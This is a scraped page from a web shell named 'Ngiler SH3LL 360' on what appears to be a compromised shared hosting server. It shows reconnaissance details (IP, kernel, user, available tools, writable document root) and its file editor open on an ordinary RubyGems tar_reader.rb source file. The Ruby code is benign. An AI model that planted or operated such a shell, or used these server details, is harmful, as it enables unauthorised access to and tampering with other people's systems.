#$@%#$%!

Ngiler SH3LL 360
: / opt / alt / ruby32 / share / rubygems / rubygems / package /

Information Server
MySQL : OFF Perl : OFF CURL : ON WGET : OFF PKEXEC : OFF

Directive	Local Value
IP Address	162.0.209.101
System	Linux premium169.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User	luxeelil
PHP Version	8.0.30
Software	LiteSpeed
Doc root	Writable

Edit File : tar_reader.rb \| Size : 1.69 KB
# frozen_string_literal: true #-- # Copyright (C) 2004 Mauricio Julio Fernández Pradier # See LICENSE.txt for additional licensing information. #++ ## # TarReader reads tar files and allows iteration over their items class Gem::Package::TarReader include Enumerable ## # Raised if the tar IO is not seekable class UnexpectedEOF < StandardError; end ## # Creates a new TarReader on +io+ and yields it to the block, if given. def self.new(io) reader = super return reader unless block_given? begin yield reader ensure reader.close end nil end ## # Creates a new tar file reader on +io+ which needs to respond to #pos, # #eof?, #read, #getc and #pos= def initialize(io) @io = io @init_pos = io.pos end ## # Close the tar file def close end ## # Iterates over files in the tarball yielding each entry def each return enum_for __method__ unless block_given? until @io.eof? do header = Gem::Package::TarHeader.from @io return if header.empty? entry = Gem::Package::TarReader::Entry.new header, @io yield entry entry.close end end alias each_entry each ## # NOTE: Do not call #rewind during #each def rewind if @init_pos == 0 @io.rewind else @io.pos = @init_pos end end ## # Seeks through the tar file until it finds the +entry+ with +name+ and # yields it. Rewinds the tar file to the beginning when the block # terminates. def seek(name) # :yields: entry found = find do \|entry\| entry.full_name == name end return unless found return yield found ensure rewind end end require_relative "tar_reader/entry" Back

Edit File : tar_reader.rb | Size : 1.69 KB

# frozen_string_literal: true

#--
# Copyright (C) 2004 Mauricio Julio Fernández Pradier
# See LICENSE.txt for additional licensing information.
#++

##
# TarReader reads tar files and allows iteration over their items

class Gem::Package::TarReader
  include Enumerable

##
  # Raised if the tar IO is not seekable

class UnexpectedEOF < StandardError; end

##
  # Creates a new TarReader on +io+ and yields it to the block, if given.

def self.new(io)
    reader = super

return reader unless block_given?

begin
      yield reader
    ensure
      reader.close
    end

nil
  end

##
  # Creates a new tar file reader on +io+ which needs to respond to #pos,
  # #eof?, #read, #getc and #pos=

def initialize(io)
    @io = io
    @init_pos = io.pos
  end

##
  # Close the tar file

def close
  end

##
  # Iterates over files in the tarball yielding each entry

def each
    return enum_for __method__ unless block_given?

until @io.eof? do
      header = Gem::Package::TarHeader.from @io
      return if header.empty?
      entry = Gem::Package::TarReader::Entry.new header, @io
      yield entry
      entry.close
    end
  end

alias each_entry each

##
  # NOTE: Do not call #rewind during #each

def rewind
    if @init_pos == 0
      @io.rewind
    else
      @io.pos = @init_pos
    end
  end

##
  # Seeks through the tar file until it finds the +entry+ with +name+ and
  # yields it.  Rewinds the tar file to the beginning when the block
  # terminates.

def seek(name) # :yields: entry
    found = find do |entry|
      entry.full_name == name
    end

return unless found

return yield found
  ensure
    rewind
  end
end

require_relative "tar_reader/entry"

Back